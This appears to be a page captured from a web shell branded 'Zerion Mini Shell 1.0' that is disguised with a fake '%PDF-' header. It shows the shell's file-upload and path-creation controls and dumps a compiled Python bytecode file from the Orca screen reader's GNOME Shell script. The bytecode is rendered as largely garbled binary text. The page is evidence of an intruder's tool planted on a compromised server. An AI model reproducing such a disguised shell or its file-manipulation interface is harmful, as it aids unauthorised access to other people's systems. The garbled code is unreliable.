%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/orca/scripts/apps/gnome-shell/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/orca/scripts/apps/gnome-shell/__pycache__/script.cpython-312.pyc

�

g
f;���dZdZdZdZdZddlmZddlmZddl	m
cmcmZddl
mZddlmZd	d
lmZd	dlmZGd�d
ej*�Zy)z$Id$z
$Revision$z$Date$z$Copyright (c) 2010-2013 Igalia, S.L.�LGPL�N)�AXObject)�AXUtilities���
Formatting��	Utilitiesc�\��eZdZd�Zd�Zd�Z�fd�Zd�Z�fd�Zd�Z	d�Z
d	�Z�fd
�Z�xZ
S)�Scriptc�D�tjj||�y�N)�clutterr�__init__)�self�apps  �F/usr/lib/python3/dist-packages/orca/scripts/apps/gnome-shell/script.pyrzScript.__init__)s��������c�*�c��t|�S)z/Returns the formatting strings for this script.r�rs r�
getFormattingzScript.getFormatting,s
���$��rc��t|�Srr	rs r�getUtilitieszScript.getUtilities0s�����rc�V��|jj�t�|�
�y)z'Called when this script is deactivated.N)�	utilities�clearCachedObjects�super�
deactivate)r�	__class__s �rrzScript.deactivate3s ���	
���)�)�+�
���rc��tj|j�r|jj	|�St
jj||�S)zsDetermines whether or not this event should be skipped due to
        being redundant, part of an event flood, etc.)r�	is_window�sourcer�isBogusWindowFocusClaimrr�skipObjectEvent�r�events  rr$zScript.skipObjectEvent9sB��� � ����.��>�>�9�9�%�@�@��~�~�-�-�d�E�:�:rc�"��|�{|jdk(rl|�jtj|�sU|jdd�}|rA|j|jk7r(d}tjt
j|d�yt�|�%|||�y)Nzwindow:activatezobject:state-changed:focusedTzIGNOME SHELL: Have matching focused event. Not announcing nameless window.)
�typer�get_name�_getQueuedEventr"�debug�printMessage�
LEVEL_INFOr�locusOfFocusChanged)rr&�oldFocus�newFocus�queuedEvent�msgrs      �rr.zScript.locusOfFocusChangedBs���������/@�!@��"�8�+<�+<�X�+F��.�.�/M�t�T�K��{�1�1�U�\�\�A�a���"�"�5�#3�#3�S�$�?��
��#�E�8�X�>rc�P�tj|j�s!tjj||�yt
jtj�j�tj�}d|g}tjtj|d�|rwt
j|j|�rVd}tj tj|d�|j#t
j$|j��yyy)z;Callback for object:property-change:accessible-name events.Nz GNOME SHELL: focus is in dialog:Tz>GNOME SHELL: Label changed name in current dialog. Presenting.)r�is_labelr"rr�
onNameChangedr�
find_ancestor�
focus_manager�
getManager�get_locus_of_focus�	is_dialogr+�printTokensr-�is_ancestorr,�presentMessager))rr&�dialog�tokensr2s     rr5zScript.onNameChangedMs����#�#�E�L�L�1��N�N�(�(��u�5���'�'��$�$�&�9�9�;�[�=R�=R�T��4�f�=��
���%�*�*�F�D�9��h�*�*�5�<�<��@�R�C����u�/�/��d�;����� 1� 1�%�,�,� ?�@�A�6rc�x�|jr�tj|j�r!t	j
|jdd�tj|j�r.tj�j||j�ytjj||�y)z@Callback for object:state-changed:selected accessibility events.Fz#Ensuring we have the correct state.N)
�detail1r�is_panelr"r�clear_cache�is_selectedr7r8�set_locus_of_focusrr�onSelectedChangedr%s  rrFzScript.onSelectedChanged_sz���=�=��#�#�E�L�L�1��$�$�U�\�\�5�:_�`��&�&�u�|�|�4��(�(�*�=�=�e�U�\�\�R�����(�(��u�5rc��|jsytj|j�ryt	j
|j�s�tj|j�rz|jj|j�sUt	j|jtj�}|�%tj�j||�ytjj!||�y)z?Callback for object:state-changed:focused accessibility events.N)rArr!r"rr)�is_menu_itemr�labelsForObject�find_descendant�	is_sliderr7r8rErr�onFocusedChanged)rr&�
descendants   rrLzScript.onFocusedChangedrs����}�}��� � ����.��� � ����.�;�3K�3K�E�L�L�3Y��>�>�1�1�%�,�,�?�!�1�1�%�,�,��@U�@U�V�J��%��(�(�*�=�=�e�Z�P�����'�'��e�4rc���|jjd�r
|jry|jj	|�ryt
�|�|�S)Nzobject:state-changed:selectedTF)r(�
startswithrArr#r�isActivatableEvent)rr&rs  �rrPzScript.isActivatableEvent�sD����:�:� � �!@�A�e�m�m���>�>�1�1�%�8���w�)�%�0�0r)�__name__�
__module__�__qualname__rrrrr$r.r5rFrLrP�
__classcell__)rs@rrr's;���+� ���;�	?�A�$6�&5�(1�1rr)�__id__�__version__�__date__�
__copyright__�__license__�
orca.debugr+�orca.focus_managerr7�orca.scripts.toolkits.clutter�scripts�toolkitsr�orca.ax_objectr�orca.ax_utilitiesr�
formattingr�script_utilitiesr
r�rr�<module>rdsJ��.������6�
����*�/�/�#�)�"�'�f1�W�^�^�f1r

Zerion Mini Shell 1.0